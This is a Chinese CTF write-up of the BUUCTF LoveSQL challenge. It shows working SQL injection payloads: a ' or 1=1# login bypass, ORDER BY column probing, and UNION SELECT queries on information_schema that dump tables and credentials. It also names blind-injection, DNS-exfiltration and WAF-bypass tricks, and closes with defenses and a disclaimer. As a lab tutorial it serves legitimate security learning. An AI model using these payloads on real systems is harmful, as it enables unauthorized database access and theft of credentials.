当前位置: 首页 > news >正文

【BUUCTF系列】[极客大挑战 2019]LoveSQL 1

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

      • 一、题目核心漏洞分析
      • 二、关键解题步骤与技术解析
        • 1. 确定列数(`ORDER BY`)
        • 2. 联合查询获取表名
        • 3. 爆破字段名
        • 4. 提取Flag
      • 三、漏洞根源与防御方案
        • 1. 漏洞成因
        • 2. 防御措施
      • 四、CTF技巧延伸
      • 五、漏洞修复效果验证

拿到题目又是熟悉的表单结构,根据题目提示,是考察sql注入,输入 11", 1',进行测试
在这里插入图片描述
发现只有输入 1'的时候有回显,说明可能存在字符型注入
在这里插入图片描述
尝试 1' or 1=1 #万能密码绕过
在这里插入图片描述
提示登录成功了,并给了一串字符,但这显然不是我们要的flag,应该是应该陷阱,好的我们,可以换一个思路,联合注入查询

一、题目核心漏洞分析

漏洞类型

  • 单引号字符型注入:通过 1' or 1=1# 成功登录,说明用户名输入点存在未过滤的单引号闭合漏洞,攻击者通过闭合单引号注入恶意逻辑。
  • 万能密码原理1=1 构造永真条件,# 注释后续密码验证,直接绕过身份认证。

二、关键解题步骤与技术解析

尝试联合注入查询

1. 确定列数(ORDER BY
  • 原理ORDER BY n 根据第n列排序,若n超过实际列数则报错。
  • 操作
    1' ORDER BY 4#   → 显示数据库报错---成功(列数≥4)
    1' ORDER BY 5#   → 正常报错---失败(实际列数=4)
    


所以我们确定实际列数=4

2. 联合查询获取表名
  • Payload

    1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#
    
  • 技术点

    • table_schema=database() 限定当前数据库。
    • 返回表名:geekuser, l0ve1ysq1(注意 l0ve1ysq1 是刻意命名的敏感表)。
      在这里插入图片描述
3. 爆破字段名
  • Payload示例
    1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='geekuser'#
    
  • 结果:两张表结构相同(id, username, password),说明可能存在数据镜像或测试冗余。
4. 提取Flag
  • 关键操作
    1' UNION SELECT 1,2,group_concat(id,username,password) FROM l0ve1ysq1#
    
  • 发现password 字段存储Flag格式数据(flag{...})。
    在这里插入图片描述

三、漏洞根源与防御方案

1. 漏洞成因
  • 动态SQL拼接:未对用户输入转义(如单引号未处理)。
  • 错误回显暴露信息:报错或查询结果直接回显前端,辅助攻击者判断注入有效性。
  • 过度权限:数据库账户可访问 information_schema,泄露元数据。
2. 防御措施
  • 参数化查询
    $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->bind_param("ss", $username, $password);
    
    通过预编译分离指令与数据,彻底杜绝拼接风险。
  • 最小化权限:数据库账户禁用 information_schema 访问权限。
  • 输入过滤
    • 过滤单引号:str_replace("'", "", $input)
    • 正则匹配白名单:如用户名仅允许字母数字。
  • 错误处理:关闭数据库报错回显,替换为通用错误页面。

四、CTF技巧延伸

  1. 无回显场景解法
  • 时间盲注:用 IF(condition, SLEEP(5), 0) 结合响应延迟逐字符猜解。
  • DNS外带:通过 LOAD_FILE() 发起DNS请求泄露数据(需高权限)。
  1. WAF绕过技巧
  • 注释混淆' UN/**/ION SEL/**/ECT 1,2,3#
  • 十六进制编码table_name=0x6765656b75736572geekuser 的HEX)。

五、漏洞修复效果验证

措施测试方法预期结果
参数化查询输入 ' OR 1=1#登录失败,无结果返回
关闭错误回显输入 ' ORDER BY 100#返回统一错误页,无具体信息
禁用元数据访问尝试查询 information_schema返回“权限不足”

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

http://www.xdnf.cn/news/1242631.html

相关文章:

  • vllm启动Qwen/Qwen3-Coder-30B-A3B-Instruct并支持工具调用
  • MLIR Introduction
  • android内存作假通杀补丁(4GB作假8GB)
  • History 模式 vs Hash 模式:Vue Router 技术决策因素详解
  • ZYNQ-按键消抖
  • JavaScript 中的流程控制语句详解
  • 3.JVM,JRE和JDK的关系是什么
  • 第二十四天(数据结构:栈和队列)队列实践请看下一篇
  • SQL注入SQLi-LABS 靶场less39-50详细通关攻略
  • 基于实时音视频技术的远程控制传输SDK的功能设计
  • 【ECCV2024】AdaCLIP:基于混合可学习提示适配 CLIP 的零样本异常检测
  • [GESP202306 四级] 2023年6月GESP C++四级上机题超详细题解,附带讲解视频!
  • 刷题记录0804
  • ref和reactive的区别
  • 8位以及32位的MCU如何进行选择?
  • ArrayDeque双端队列--底层原理可视化
  • Redis 常用数据结构以及单线程模型
  • LeetCode 140:单词拆分 II
  • Array容器学习
  • app-1
  • 优选算法 力扣 11. 盛最多水的容器 双指针降低时间复杂度 贪心策略 C++题解 每日一题
  • Javascript面试题及详细答案150道之(031-045)
  • python包管理器uv踩坑
  • 力扣面试150题--加一
  • PCL统计点云Volume
  • ArcGIS的字段计算器生成随机数
  • 配置Mybatis环境
  • 【多智能体cooragent】CoorAgent 系统中 5 个核心系统组件分析
  • 一起学springAI系列一:流式返回
  • 【实战】Dify从0到100进阶--中药科普助手(1)